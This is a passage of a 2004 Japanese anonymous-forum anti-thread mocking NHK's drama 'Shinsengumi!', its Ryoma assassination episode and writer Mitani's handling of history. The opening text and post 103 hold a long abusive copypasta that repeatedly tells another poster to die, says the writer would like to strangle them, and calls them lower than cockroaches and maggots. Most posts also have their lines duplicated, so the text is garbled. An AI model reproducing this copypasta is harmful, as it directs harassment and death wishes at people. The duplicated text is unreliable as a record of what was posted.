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勘違いしたバカを許すわけにはいかんのです！面白半分にいい加減なカキコするヤツなど許さんです！キャラメルコーンのピーナッツをケツの穴に詰めて死ねよです！！！
今まであんたがどんな生き方してきたか知らんけど、どーせひどい生き様だったと想像出来るです！あんたのカキコから読みとれるです！バカ特有の匂いがするです！あんたのことが全く理解出来んです！あんたは絶対許さんです！
死んでも許さんです！地獄で苦しめよです！それでも足らんくらいです！
豆腐の角に頭ぶつけて死ねよです！！！
あんたもっと現実を知れよです！いつまでも引きこもってネクラなことしてる場合じゃないよです！でも、もー手遅れです！あんたは何をやってもダメです！
この世に生まれてきたことを後悔してもダメです！あんたは生まれ変わってもどうせダメ人間に決まってるです！絞め殺したいけどあんたに触るのが嫌なのでやめるです！でも、あんたみたいなカスは死ねよです！風呂の排水溝に吸い込まれて死ねよです！！！
絶対許さんです！絶対許さんです！絶対許さんです！あんたみたいなヤツは絶対許さんです！早く消えろです！さっさとこの世からいなくなれよです！！！
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いつまでも勘違いしたまま生きていけると思ったら大間違いだよです！このまま生きててもお前にはいーことなんにもねーよです！何でもいいからさっさと死ねよです！！！
55 ：名無しさん＠お腹いっぱい。：04/10/24 04:19:56 ID:BDfZAerV
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56 ：名無しさん＠お腹いっぱい。：04/10/24 05:22:12 ID:yH87jHjA
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57 ：名無しさん＠お腹いっぱい。：04/10/24 05:30:38 ID:H9nsyWCg
上の連続カキコは、クサナギまで引っ張り出したドラマ
終盤の三谷とＮＨＫの悪あがきと同じに見える。
ちょっと早すぎるが次のスレタイ
【悪あがき】新選組！ ｱﾝﾁｽﾚ 33【草薙出演】
終盤の三谷とＮＨＫの悪あがきと同じに見える。
ちょっと早すぎるが次のスレタイ
【悪あがき】新選組！ ｱﾝﾁｽﾚ 33【草薙出演】
58 ：名無しさん＠お腹いっぱい。：04/10/24 06:18:32 ID:Vxb/HkMv
三谷本人は既に大河のことなど頭にないようなのでむしろ
【恥のかき逃げ】新選組！ ｱﾝﾁｽﾚ 33【笑の幼稚園】
【恥のかき逃げ】新選組！ ｱﾝﾁｽﾚ 33【笑の幼稚園】
59 ：名無しさん＠お腹いっぱい。：04/10/24 07:03:41 ID:fGBSSb/K
やっぱあの、観柳斎を斬ってブルブル震えてる、
観柳斎（ヘタレ）に睨まれて怯えた表情をする大石鍬次郎はどう考えてもおかしいな。
ヘタレすぎる。
観柳斎（ヘタレ）に睨まれて怯えた表情をする大石鍬次郎はどう考えてもおかしいな。
ヘタレすぎる。
60 ：名無しさん＠お腹いっぱい。：04/10/24 07:27:47 ID:kNwlnbuy
あれ？ 土方の「そいつ（観柳斎）の蒔いた種だ」ってのは
観柳斎が他隊士に憎まれるようなことをしてきたからだってことだろ？
つまり、観柳斎斬ったのは新選組隊士だと分かってることになる。
これこそ（隊士間の私怨での殺し）取り締まって処分下さないと、「シメシがつかない」んじゃないのかと・・。
観柳斎が他隊士に憎まれるようなことをしてきたからだってことだろ？
つまり、観柳斎斬ったのは新選組隊士だと分かってることになる。
これこそ（隊士間の私怨での殺し）取り締まって処分下さないと、「シメシがつかない」んじゃないのかと・・。
61 ：名無しさん＠お腹いっぱい。：04/10/24 09:42:52 ID:v1F4pTml
62 ：名無しさん＠お腹いっぱい。：04/10/24 09:48:21 ID:XOjrcRpF
>>60
近藤がわけわかんない理由で法度（と類似の取り締まり）廃止を決めてしまったからねぇ
近藤がわけわかんない理由で法度（と類似の取り締まり）廃止を決めてしまったからねぇ
63 ：名無しさん＠お腹いっぱい。：04/10/24 10:14:07 ID:OXvNQwrC
>>60
大石は法度廃止になったことを知って
武田を殺しても自分たちが処罰を受けないことを念頭に入れての行為なんだよな。きっと。
まあ法度があれば武田は仲間に殺されない代わりに切腹だけど。
法度は今後も機能させるが今回の武田は特別措置って風にすれば
武田は生きてたかも。でも隊内に置いておくのは弊害が多そうだから
本当に生かしたいなら隊追放にすべきだったな。
大石は法度廃止になったことを知って
武田を殺しても自分たちが処罰を受けないことを念頭に入れての行為なんだよな。きっと。
まあ法度があれば武田は仲間に殺されない代わりに切腹だけど。
法度は今後も機能させるが今回の武田は特別措置って風にすれば
武田は生きてたかも。でも隊内に置いておくのは弊害が多そうだから
本当に生かしたいなら隊追放にすべきだったな。
64 ：名無しさん＠お腹いっぱい。：04/10/24 10:32:53 ID:5d2fMr5E
>>59
あれが切腹覚悟の強行だったなら、多少のブルブルはおかしくないんじゃないか
とも思うけどね。
あの日のうちに法度が廃止になったことを平隊士たちが知っていたのかも疑問だし。
ただ大石にとって糞以下の武田の殺害に、大石以下数名が命をかける価値が
あると思っていたかどうかも疑問なんだよな。あの時代そういう価値観があったにしても、ね。
自分の結論としては63の理由で殺してブルってたんなら大石はただのヘタレってことでｗ
あれが切腹覚悟の強行だったなら、多少のブルブルはおかしくないんじゃないか
とも思うけどね。
あの日のうちに法度が廃止になったことを平隊士たちが知っていたのかも疑問だし。
ただ大石にとって糞以下の武田の殺害に、大石以下数名が命をかける価値が
あると思っていたかどうかも疑問なんだよな。あの時代そういう価値観があったにしても、ね。
自分の結論としては63の理由で殺してブルってたんなら大石はただのヘタレってことでｗ
65 ：名無しさん＠お腹いっぱい。：04/10/24 10:50:42 ID:7F4/7Yf7
ID:rROwrQ4WとID:yH87jHjAをNG指定したらスレがすっきりしたねーｗ
66 ：名無しさん＠お腹いっぱい。：04/10/24 11:10:02 ID:mKt/65Uf
＞武田を殺しても自分たちが処罰を受けないことを念頭に入れて―
あきらかに考えすぎだと思うｗ こんな辻褄も考えて三谷が書いた行動じゃないっしょ。
ていうか法度廃止がどうこう以前に大問題だろ。
＞隊士が私怨で殺し
あきらかに考えすぎだと思うｗ こんな辻褄も考えて三谷が書いた行動じゃないっしょ。
ていうか法度廃止がどうこう以前に大問題だろ。
＞隊士が私怨で殺し
67 ：sage：04/10/24 17:11:47 ID:SmRoK3LU
武田も茨木等四人も結局、近藤、土方が見殺しでしょ。
史実は違うけど。
史実は違うけど。
68 ：名無しさん＠お腹いっぱい。：04/10/24 18:04:02 ID:KZGH5CsE
粛清の代りに部下の暴走を放置というのは
前よりも酷いのではないだろうか
前よりも酷いのではないだろうか
69 ：名無しさん＠お腹いっぱい。：04/10/24 18:51:35 ID:ud+8WrWx
70 ：名無しさん＠お腹いっぱい。：04/10/24 19:37:18 ID:8wh1ECjn
ただ単に近藤に部下の暴走をとめる器量がなかったんでしょ。
71 ：sage：04/10/24 19:59:35 ID:SmRoK3LU
結局、法度を撤回しても無駄ってことだね
山南以下の切腹も無駄と思うけど
どう説明つけるかな
山南以下の切腹も無駄と思うけど
どう説明つけるかな
72 ：名無しさん＠お腹いっぱい。：04/10/24 20:42:28 ID:zOHilhMr
↑ｳﾞｧｶﾊｹｰﾝ
73 ：名無しさん＠お腹いっぱい。：04/10/24 20:44:12 ID:0rFk4pPm
そりゃあ近藤勇が坂本竜馬助けるわけにはいかないよなあ。
土方は正しいｗ
土方は正しいｗ
74 ：名無しさん＠お腹いっぱい。：04/10/24 20:50:06 ID:lK7LcckU
池田屋以来久々に見たが、も、盛り上げないのね、とことん…。
三谷ってドラマチックな盛り上がりが死ぬほど嫌いな物書きなのか？
三谷ってドラマチックな盛り上がりが死ぬほど嫌いな物書きなのか？
75 ：名無しさん＠お腹いっぱい。：04/10/24 20:54:39 ID:yHKFPhOo
龍馬が主人公じゃないからね。
こんなもんだろ
こんなもんだろ
76 ：名無しさん＠お腹いっぱい。：04/10/24 20:58:29 ID:hLIf5b8c
いい殺し方だったし、いい死に方だった。
それまで退屈で退屈で...
それまで退屈で退屈で...
77 ：名無しさん＠お腹いっぱい。：04/10/24 20:58:48 ID:SWfSrZ6V
＞三谷ってドラマチックな盛り上がりが死ぬほど嫌いな物書きなのか？
映画の「龍馬の妻と愛人」とかいうの見てみ。
映画の「龍馬の妻と愛人」とかいうの見てみ。
78 ：名無しさん＠お腹いっぱい。：04/10/24 21:00:15 ID:hLppDi9K
太夫の妹ネタやいじめっ子鍬次郎ネタがうざかった
79 ：名無しさん＠お腹いっぱい。：04/10/24 21:01:20 ID:q1uQ9kI3
つまり、山南さんの託したものが龍馬を動かし
龍馬の信じたものが捨助を動かしたんだな。
龍馬の信じたものが捨助を動かしたんだな。
80 ：名無しさん＠お腹いっぱい。：04/10/24 21:03:53 ID:CaUFXjG4
「新撰組が坂本さんを助けて何が悪い」
出ましたよ、開き直り。笑っちゃいました。いかにも三谷らしい。
出ましたよ、開き直り。笑っちゃいました。いかにも三谷らしい。
81 ：名無しさん＠お腹いっぱい。：04/10/24 21:11:26 ID:hLIf5b8c
というか、ヤッパリＢ作だろう。
本人も自覚している。
本人も自覚している。
82 ：名無しさん＠お腹いっぱい。：04/10/24 21:12:15 ID:6RWR8Y1R
三谷は自分で自分の脚本に突っ込んでたなw
しっかし、プロの脚本家として、
「近藤さんは助けたかったのに一足違いで助けられませんでした。残念！」
のパターンをこれほど繰り返すのはどうなのよ？
近藤を善人にするために毎回「近藤は助けたい」→でも史実は史実なので結局死亡。
薬を貰ってからこっち、沖田の病気について全く触れてないはずの近藤が
何故か今までの経緯をぜんぶ知ってたり、偉そうに解説してたり。
意味がわからん。
しっかし、プロの脚本家として、
「近藤さんは助けたかったのに一足違いで助けられませんでした。残念！」
のパターンをこれほど繰り返すのはどうなのよ？
近藤を善人にするために毎回「近藤は助けたい」→でも史実は史実なので結局死亡。
薬を貰ってからこっち、沖田の病気について全く触れてないはずの近藤が
何故か今までの経緯をぜんぶ知ってたり、偉そうに解説してたり。
意味がわからん。
83 ：名無しさん＠お腹いっぱい。：04/10/24 21:16:35 ID:Vxb/HkMv
ツッコミどころは満載だったけど一々指摘するのもかったるいくらいだったな。
ドラマの中では池田屋以降火事場の誘導くらいしか活動してなかった新選組が、
何故か直参扱いとなってどういう意味か分からないが「京都で一番」と自画自賛。
で、その後も何も活動らしい活動を見せないうちに幕府あぼーん。
原田・島田の脳味噌筋肉系の対話に出てくる解説キャラ不在の嘆きはヲタ向けのギャグのつもりか。
「幕府無くなってもお手当てでるんだろうな」なんて、いつまでたっても発想がDQNな土方。
……以下、相変わらずのでたらめ展開でなんとも、はぁ……。
ドラマの中では池田屋以降火事場の誘導くらいしか活動してなかった新選組が、
何故か直参扱いとなってどういう意味か分からないが「京都で一番」と自画自賛。
で、その後も何も活動らしい活動を見せないうちに幕府あぼーん。
原田・島田の脳味噌筋肉系の対話に出てくる解説キャラ不在の嘆きはヲタ向けのギャグのつもりか。
「幕府無くなってもお手当てでるんだろうな」なんて、いつまでたっても発想がDQNな土方。
……以下、相変わらずのでたらめ展開でなんとも、はぁ……。
84 ：名無しさん＠お腹いっぱい。：04/10/24 21:19:35 ID:SWfSrZ6V
同じような過ちは、竹山洋で十分だ
85 ：名無しさん＠お腹いっぱい。：04/10/24 21:19:36 ID:P1DX2oTb
大衆が見えてこない。
登場人物に一般人的な動きをさせていて、
突厥した才能や個性の人たちのぶつかり合いに見えない。
相手を認めてもあえて、信義の貫徹の為に命を狙うのが
幕末武士道の面白さだと思うけれど、信義なんかよりも
個人的な感情を優先させる近藤勇。
あまりにも一般人的な人たちしか出てこないから幕末に
動いていた大政奉還や維新の大きなうねりとかが感じら
れない。幕末にはこの新撰組！の登場人物しかいなかっ
たみたい。時代を動かす、それを封じる人たちと、その
人たちに願いをかける様々な人達、という人間群像の奥
行きが感じられない。
劇後の史実ナレーションが一番面白かった。
登場人物に一般人的な動きをさせていて、
突厥した才能や個性の人たちのぶつかり合いに見えない。
相手を認めてもあえて、信義の貫徹の為に命を狙うのが
幕末武士道の面白さだと思うけれど、信義なんかよりも
個人的な感情を優先させる近藤勇。
あまりにも一般人的な人たちしか出てこないから幕末に
動いていた大政奉還や維新の大きなうねりとかが感じら
れない。幕末にはこの新撰組！の登場人物しかいなかっ
たみたい。時代を動かす、それを封じる人たちと、その
人たちに願いをかける様々な人達、という人間群像の奥
行きが感じられない。
劇後の史実ナレーションが一番面白かった。
86 ：名無しさん＠お腹いっぱい。：04/10/24 21:21:56 ID:B4edSqlG
なんつーか、結局ワンパターンなんだよね
87 ：名無しさん＠お腹いっぱい。：04/10/24 21:57:54 ID:sdxGef/K
久しぶりにきたけどここも本スレも以前より過疎化してるなあ
88 ：名無しさん＠お腹いっぱい。：04/10/24 21:57:59 ID:YIC7eZgH
新選組見ないで
血液型ランキング見てたけど勝海舟と同じ血液型だった！ｗ
血液型ランキング見てたけど勝海舟と同じ血液型だった！ｗ
89 ：名無しさん＠お腹いっぱい。：04/10/24 22:05:39 ID:0rFk4pPm
だってつまんないもん。
最後までつまんないのがほぼ確実に分かってしまった今となっては…
前は録画して何度か観てたけど、今は二度観る気がしない。
最後までつまんないのがほぼ確実に分かってしまった今となっては…
前は録画して何度か観てたけど、今は二度観る気がしない。
90 ：名無しさん＠お腹いっぱい。：04/10/24 22:16:00 ID:YIC7eZgH
もうせいぜい勝手に仲良しごっこやってろや、って感じだ
91 ：名無しさん＠お腹いっぱい。：04/10/24 22:44:35 ID:6RWR8Y1R
殿内→近藤と和解したけど芹沢が勝手に殺害。
又三郎→芹沢が勝手に殺害。
新見→近藤の留守中に土方と山南が独断で殺害。
芹沢→本人から殺害の許可を頂いた（俺を食っちまえ）ので殺害。
山南→皆が逃がそうとするも半ば自殺のように法度を遵守し切腹。
河合→近藤の留守中に土方が無理矢理殺害。
松原→土方に嫌味を言われ女との別れを決意、結局刺殺。
茨木たち→近藤は助けたかったのに自分たちは切腹と早合点して自殺。
武田→近藤は許したけど部下が勝手に殺害。
龍馬→近藤は助けたかったのに一足違いで殺害。
伊東→近藤と和解したけど部下が勝手に殺害。
けっきょく切腹・殺害にあたって近藤の立場が美化されてないのは
いかにも「殺されて当然なクズ」のように描かれていた
谷、内山だけだな。
又三郎→芹沢が勝手に殺害。
新見→近藤の留守中に土方と山南が独断で殺害。
芹沢→本人から殺害の許可を頂いた（俺を食っちまえ）ので殺害。
山南→皆が逃がそうとするも半ば自殺のように法度を遵守し切腹。
河合→近藤の留守中に土方が無理矢理殺害。
松原→土方に嫌味を言われ女との別れを決意、結局刺殺。
茨木たち→近藤は助けたかったのに自分たちは切腹と早合点して自殺。
武田→近藤は許したけど部下が勝手に殺害。
龍馬→近藤は助けたかったのに一足違いで殺害。
伊東→近藤と和解したけど部下が勝手に殺害。
けっきょく切腹・殺害にあたって近藤の立場が美化されてないのは
いかにも「殺されて当然なクズ」のように描かれていた
谷、内山だけだな。
92 ：名無しさん＠お腹いっぱい。：04/10/24 22:45:05 ID:5wWSDzc/
でもなあ、バカそうな永井Ｂ作の一言で
竜馬を守らなくちゃと張り切る近藤って、何もの？
竜馬を守らなくちゃと張り切る近藤って、何もの？
93 ：名無しさん＠お腹いっぱい。：04/10/24 22:51:41 ID:SWfSrZ6V
94 ：名無しさん＠お腹いっぱい。：04/10/24 23:16:43 ID:askeogt7
歴史のifをドラマに取り込むのはいいんだが、そのドラマがそのifで内容が豊かに
なったかどうかが問題だと思う。
とはいえ、俺は初期数話と池田屋と今回しか見てないんだけどね。
ifの友情で結ばれた近藤と竜馬が相容れぬ立場となって悲劇的対決を果たすという
なら（腐女子好みだが）ドラマチックな展開を生んでドラマを豊かにしたifと言える
と思う（俺は政宗の次に真田広行の太平記が好きなんだが、これの尊氏と正成なんて
のはこのパターンだよな）が、近藤は助けようとしたけど史実なのでいかんともし
難く結局間に合わず竜馬は死んでしまいました、ではな…。
正直、「それで？」と言いたくなる。
なったかどうかが問題だと思う。
とはいえ、俺は初期数話と池田屋と今回しか見てないんだけどね。
ifの友情で結ばれた近藤と竜馬が相容れぬ立場となって悲劇的対決を果たすという
なら（腐女子好みだが）ドラマチックな展開を生んでドラマを豊かにしたifと言える
と思う（俺は政宗の次に真田広行の太平記が好きなんだが、これの尊氏と正成なんて
のはこのパターンだよな）が、近藤は助けようとしたけど史実なのでいかんともし
難く結局間に合わず竜馬は死んでしまいました、ではな…。
正直、「それで？」と言いたくなる。
95 ：名無しさん＠お腹いっぱい。：04/10/24 23:37:17 ID:3ceJGvkM
いちおう、もっと見ろよな。
正直、「それで？」と言いたくなる。
正直、「それで？」と言いたくなる。
96 ：名無しさん＠お腹いっぱい。：04/10/24 23:40:48 ID:hLppDi9K
その前に近藤と龍馬の間に友情が深まるような描写がもっとあればねえ…
97 ：名無しさん＠お腹いっぱい。：04/10/25 00:07:39 ID:a5BcQkpV
相変わらず時間不足。
もうこんなとってつけたような展開では誰にも感情移入できない。
普段結構泣き上戸なのに、山南の死以降は全く泣けないし笑えもしない。
オトナの現実とは程遠い小学生同士みたいな人間関係。
鍬次郎の周平いじめとか、小学生には共感できるかもね。
もうこんなとってつけたような展開では誰にも感情移入できない。
普段結構泣き上戸なのに、山南の死以降は全く泣けないし笑えもしない。
オトナの現実とは程遠い小学生同士みたいな人間関係。
鍬次郎の周平いじめとか、小学生には共感できるかもね。
98 ：名無しさん＠お腹いっぱい。：04/10/25 00:14:37 ID:rVT6f/7c
佐々木が竜馬を斬ると息巻いてる時は止めもせず、
Ｂ作に諭されれば、それもそうかと助けに行く。
で、なぜか竜馬が死んだらとってつけたように泣いてる。
・・・・何がしたい？三谷よ。
Ｂ作に諭されれば、それもそうかと助けに行く。
で、なぜか竜馬が死んだらとってつけたように泣いてる。
・・・・何がしたい？三谷よ。
99 ：名無しさん＠お腹いっぱい。：04/10/25 00:18:36 ID:MTfOMSyi
えー、優かの役のなんとか太夫とは手切れ金２００両払ったとか
竜馬の暗殺聞いてけらけら笑ったという事実は無視なんですか？
竜馬の暗殺聞いてけらけら笑ったという事実は無視なんですか？
100 ：名無しさん＠お腹いっぱい。：04/10/25 00:25:39 ID:bfxYiMSc
さっき、コンビニに行ったら、若者が2人、以下のような会話をしていた。
A「いまさあ、NHKで新選組やってるの、知ってる？」
B「ああ、なんか聞いたことはある。大河だろ」
A「そうそう、視聴率が超ショボくて、悲惨なことになってんだけどさ」
B「へえ。主役はだれなの？」
A「香取慎吾。近藤勇の役やってるらしい」
B「香取慎吾が近藤勇・・・なんじゃそりゃ」
A「まあ、その時点で終わってんだけどさ」
B「なんかネタあるの？」
A「さっき、たまたまNHKつけて、新選組見てみたら、ちょうど龍馬暗殺のシーンで」
B「ほうほう。で？」
A「すごいよ、マジで。殺られそうになってる龍馬のところに、新選組のヤツラが助けに行ってるんだよ」
B「新選組が坂本龍馬を助けに行く？ ハ？ マジで？」
A「マジマジ。もう完全にSFレベルの展開。もう見てて爆笑しまくっちゃってさ」
B「すげえ・・・世間の知らないところで、そんな電波ビュンビュンの時代劇やってたのかよ・・・」
A「絶対見た方がいいって。笑いのネタとしては最高の部類に属するから」
B「えっと、日曜日の・・・」
A「午後8時、NHK総合」
B「日曜日の午後8時、NHKね。よし分かった」
A「いまさあ、NHKで新選組やってるの、知ってる？」
B「ああ、なんか聞いたことはある。大河だろ」
A「そうそう、視聴率が超ショボくて、悲惨なことになってんだけどさ」
B「へえ。主役はだれなの？」
A「香取慎吾。近藤勇の役やってるらしい」
B「香取慎吾が近藤勇・・・なんじゃそりゃ」
A「まあ、その時点で終わってんだけどさ」
B「なんかネタあるの？」
A「さっき、たまたまNHKつけて、新選組見てみたら、ちょうど龍馬暗殺のシーンで」
B「ほうほう。で？」
A「すごいよ、マジで。殺られそうになってる龍馬のところに、新選組のヤツラが助けに行ってるんだよ」
B「新選組が坂本龍馬を助けに行く？ ハ？ マジで？」
A「マジマジ。もう完全にSFレベルの展開。もう見てて爆笑しまくっちゃってさ」
B「すげえ・・・世間の知らないところで、そんな電波ビュンビュンの時代劇やってたのかよ・・・」
A「絶対見た方がいいって。笑いのネタとしては最高の部類に属するから」
B「えっと、日曜日の・・・」
A「午後8時、NHK総合」
B「日曜日の午後8時、NHKね。よし分かった」
101 ：名無しさん＠お腹いっぱい。：04/10/25 00:32:49 ID:vsxhHq1h
>>98
理解力なさすぎ
理解力なさすぎ
102 ：名無しさん＠お腹いっぱい。：04/10/25 00:39:16 ID:WqXT+O1p
>>100
視聴者お一人様ご案内～
視聴者お一人様ご案内～
103 ：名無しさん＠お腹いっぱい。：04/10/25 00:44:32 ID:8SgI3WfK
あれほど言ったのに、まだそんなカキコするですか！もう許さんです！
あんたを許すわけにはいかんです！こんなカキコでレスたくさん付くとでも思ってるなんて頭おかしーよです！あんたみたいなバカ初めて見たです！
あんたみたいなバカ、ゴキブリ以下です！あんたみたいなバカ、ウジ虫以下です！
死んでほしーです！つーか、死ぬべきです！あんたは絶対に許されないです！
勘違いしたバカを許すわけにはいかんのです！面白半分にいい加減なカキコするヤツなど許さんです！キャラメルコーンのピーナッツをケツの穴に詰めて死ねよです！！！
今まであんたがどんな生き方してきたか知らんけど、どーせひどい生き様だったと想像出来るです！あんたのカキコから読みとれるです！バカ特有の匂いがするです！あんたのことが全く理解出来んです！あんたは絶対許さんです！
死んでも許さんです！地獄で苦しめよです！それでも足らんくらいです！
豆腐の角に頭ぶつけて死ねよです！！！
あんたもっと現実を知れよです！いつまでも引きこもってネクラなことしてる場合じゃないよです！でも、もー手遅れです！あんたは何をやってもダメです！
この世に生まれてきたことを後悔してもダメです！あんたは生まれ変わってもどうせダメ人間に決まってるです！絞め殺したいけどあんたに触るのが嫌なのでやめるです！でも、あんたみたいなカスは死ねよです！風呂の排水溝に吸い込まれて死ねよです！！！
絶対許さんです！絶対許さんです！絶対許さんです！あんたみたいなヤツは絶対許さんです！早く消えろです！さっさとこの世からいなくなれよです！！！
いつまでも勘違いしたまま生きていけると思ったら大間違いだよです！このまま生きててもお前にはいーことなんにもねーよです！何でもいいからさっさと死ねよです！！！
あんたを許すわけにはいかんです！こんなカキコでレスたくさん付くとでも思ってるなんて頭おかしーよです！あんたみたいなバカ初めて見たです！
あんたみたいなバカ、ゴキブリ以下です！あんたみたいなバカ、ウジ虫以下です！
死んでほしーです！つーか、死ぬべきです！あんたは絶対に許されないです！
勘違いしたバカを許すわけにはいかんのです！面白半分にいい加減なカキコするヤツなど許さんです！キャラメルコーンのピーナッツをケツの穴に詰めて死ねよです！！！
今まであんたがどんな生き方してきたか知らんけど、どーせひどい生き様だったと想像出来るです！あんたのカキコから読みとれるです！バカ特有の匂いがするです！あんたのことが全く理解出来んです！あんたは絶対許さんです！
死んでも許さんです！地獄で苦しめよです！それでも足らんくらいです！
豆腐の角に頭ぶつけて死ねよです！！！
あんたもっと現実を知れよです！いつまでも引きこもってネクラなことしてる場合じゃないよです！でも、もー手遅れです！あんたは何をやってもダメです！
この世に生まれてきたことを後悔してもダメです！あんたは生まれ変わってもどうせダメ人間に決まってるです！絞め殺したいけどあんたに触るのが嫌なのでやめるです！でも、あんたみたいなカスは死ねよです！風呂の排水溝に吸い込まれて死ねよです！！！
絶対許さんです！絶対許さんです！絶対許さんです！あんたみたいなヤツは絶対許さんです！早く消えろです！さっさとこの世からいなくなれよです！！！
いつまでも勘違いしたまま生きていけると思ったら大間違いだよです！このまま生きててもお前にはいーことなんにもねーよです！何でもいいからさっさと死ねよです！！！
104 ：名無しさん＠お腹いっぱい。：04/10/25 00:55:14 ID:cfEywa0U
>>103
自分はアンチではない通りがかりだが、一応マジレス。
キャラメルコーンのピーナッツをケツの穴に詰めても人間は死んだりしないよ？
鼻なら窒息するかもだけど。
カキコするですか、っていう日本語もおかしいし。根暗な野田恵か？
自分はアンチではない通りがかりだが、一応マジレス。
キャラメルコーンのピーナッツをケツの穴に詰めても人間は死んだりしないよ？
鼻なら窒息するかもだけど。
カキコするですか、っていう日本語もおかしいし。根暗な野田恵か？
105 ：名無しさん＠お腹いっぱい。：04/10/25 00:58:19 ID:EkAFRW/p
>>97
時間不足な上にお孝や鍬次郎みたいなどうでもいいキャラばっかり
（周平は源さん絡みの事があるのでまあ良いとして）目立たせてるのが気に食わない。
そんな暇があるなら御陵衛士の一人一人にスポット当てろっての
時間不足な上にお孝や鍬次郎みたいなどうでもいいキャラばっかり
（周平は源さん絡みの事があるのでまあ良いとして）目立たせてるのが気に食わない。
そんな暇があるなら御陵衛士の一人一人にスポット当てろっての
106 ：名無しさん＠お腹いっぱい。：04/10/25 01:26:15 ID:00pq0b8U
今まで見てなかったから聞きたいんだが、近藤と竜馬が友人だったというifからこの番組における
何か新しい歴史の真実というモノが紡がれた事はあったのか？
近藤と竜馬の交流があったが故に時代が善かれ悪しかれこう動いて史実が出来上がったという、緻密
な取材に大胆な発想が加わって紡ぎ出される、物語としての説得力に満ちた良い意味で大嘘な『真実
の歴史』はこの番組にあったのか？
もしそんな展開は欠片もなかったのなら、近藤と竜馬の友情というifは只の作家の趣味、単なる妄想
でしか無かったという事だと思う。
いや、マジで見てなかったから教えて欲しいんだ。
何か新しい歴史の真実というモノが紡がれた事はあったのか？
近藤と竜馬の交流があったが故に時代が善かれ悪しかれこう動いて史実が出来上がったという、緻密
な取材に大胆な発想が加わって紡ぎ出される、物語としての説得力に満ちた良い意味で大嘘な『真実
の歴史』はこの番組にあったのか？
もしそんな展開は欠片もなかったのなら、近藤と竜馬の友情というifは只の作家の趣味、単なる妄想
でしか無かったという事だと思う。
いや、マジで見てなかったから教えて欲しいんだ。
107 ：名無しさん＠お腹いっぱい。：04/10/25 01:33:54 ID:Nvm7qg/Q
>>106
結局のところ、近藤が処刑される理由に対する
アテツケに過ぎない、とも言えるね。
つまり、新選組が竜馬を暗殺したと思われたことで
土佐の怒りを買ったことが処刑の主な理由とされてる
（池田屋事件で長州の恨みを買ったのもあるが）
ところにスポットを当てて、
「いや、近藤は旧友の竜馬を助けようとしたんだ。
なのに殺されるのはかわいそう」
が三谷のいちばん強調したいことだと思う。
三谷にとって、新選組並びに近藤は、名作童話
「ごんぎつね」のきつねのごんなんだよ。
その程度の底の浅さだよ。
それプラス、全体に時代背景描写が不足してるので
その補填を竜馬にさせてる、といったところだな。
結局のところ、近藤が処刑される理由に対する
アテツケに過ぎない、とも言えるね。
つまり、新選組が竜馬を暗殺したと思われたことで
土佐の怒りを買ったことが処刑の主な理由とされてる
（池田屋事件で長州の恨みを買ったのもあるが）
ところにスポットを当てて、
「いや、近藤は旧友の竜馬を助けようとしたんだ。
なのに殺されるのはかわいそう」
が三谷のいちばん強調したいことだと思う。
三谷にとって、新選組並びに近藤は、名作童話
「ごんぎつね」のきつねのごんなんだよ。
その程度の底の浅さだよ。
それプラス、全体に時代背景描写が不足してるので
その補填を竜馬にさせてる、といったところだな。
108 ：名無しさん＠お腹いっぱい。：04/10/25 01:48:09 ID:UyOwRjFz
>>106
>近藤と竜馬の交流があったが故に時代が善かれ悪しかれこう動いて史実が出来上がったという、緻密
>な取材に大胆な発想が加わって紡ぎ出される、物語としての説得力に満ちた良い意味で大嘘な『真実
>の歴史』はこの番組にあったのか？
そう、それだよ。史実の隠された部分を創作でうまくつなぎ合わせてこそ
大河でやる意義があるってもんだ。
創作が史実に拘束されてうやむやに終わるんなら創作なんてやらないほうがいい
>近藤と竜馬の交流があったが故に時代が善かれ悪しかれこう動いて史実が出来上がったという、緻密
>な取材に大胆な発想が加わって紡ぎ出される、物語としての説得力に満ちた良い意味で大嘘な『真実
>の歴史』はこの番組にあったのか？
そう、それだよ。史実の隠された部分を創作でうまくつなぎ合わせてこそ
大河でやる意義があるってもんだ。
創作が史実に拘束されてうやむやに終わるんなら創作なんてやらないほうがいい
109 ：名無しさん＠お腹いっぱい。：04/10/25 02:16:10 ID:2XbqDqYe
竜馬さんに時々時勢を語られて、近藤君は悩めるモラトリアムになったということだと思いまつ。
竜馬君との絡みがなかったら、武士になるぞ～～、その頂点のご公儀のために働くぞ～～、
だけの単純な人だったかも、という創作？
その竜馬君をいじけ状態から立ち直らせたのは山南君だったわけでつが・・・
竜馬君との絡みがなかったら、武士になるぞ～～、その頂点のご公儀のために働くぞ～～、
だけの単純な人だったかも、という創作？
その竜馬君をいじけ状態から立ち直らせたのは山南君だったわけでつが・・・
110 ：名無しさん＠お腹いっぱい。：04/10/25 02:32:39 ID:kjxZp6B9
>>91の死亡一覧に笑った。
111 ：名無しさん＠お腹いっぱい。：04/10/25 05:00:47 ID:TpORJYoo
この新撰組って、結局日大あたりの文科系サークルのノリなんだよなー。
京都じゃなくて江古田の匂いがする。
京都じゃなくて江古田の匂いがする。
112 ：名無しさん＠お腹いっぱい。：04/10/25 05:03:38 ID:8MtZSJNy
文科系→文化系
まあ、日大程度の学力だから仕方ないか。
まあ、日大程度の学力だから仕方ないか。
113 ：名無しさん＠お腹いっぱい。：04/10/25 05:54:48 ID:TpORJYoo
思想的背景の押さえ方が浅いのに加えて、
三谷氏もディレクターも、素手の喧嘩をしたことがないに違いない。
三谷氏もディレクターも、素手の喧嘩をしたことがないに違いない。
114 ：名無しさん＠お腹いっぱい。：04/10/25 06:46:45 ID:rVT6f/7c
>>101
信者お一人様ご案内～
信者お一人様ご案内～
115 ：名無しさん＠お腹いっぱい。：04/10/25 09:01:28 ID:yaWykzzP
原田の「こなくそ！」はあきらかに蛇足だろｗ
暗殺者たちが去った後、ちょーーっと経ってからやって来た人物（原田）が
「こなくそ」と言っただけで立ち去ったのを、中岡が「“暗殺者”は「こなくそ」と言った…」
と証言？ 無理矢理すぎる…ｗ
暗殺者たちが去った後、ちょーーっと経ってからやって来た人物（原田）が
「こなくそ」と言っただけで立ち去ったのを、中岡が「“暗殺者”は「こなくそ」と言った…」
と証言？ 無理矢理すぎる…ｗ
116 ：名無しさん＠お腹いっぱい。：04/10/25 10:36:21 ID:teQuEymF
竜馬と中岡の最後の会話が、鶏の皮がドーシタコーシタ・・・
この二人、思想的対立(大政奉還と武力倒幕)から議論が白熱して殺し合いにならないために、
刀を床の間に置いていたから、暗殺者に対応するのが遅れたって言われているのに。
この二人、思想的対立(大政奉還と武力倒幕)から議論が白熱して殺し合いにならないために、
刀を床の間に置いていたから、暗殺者に対応するのが遅れたって言われているのに。
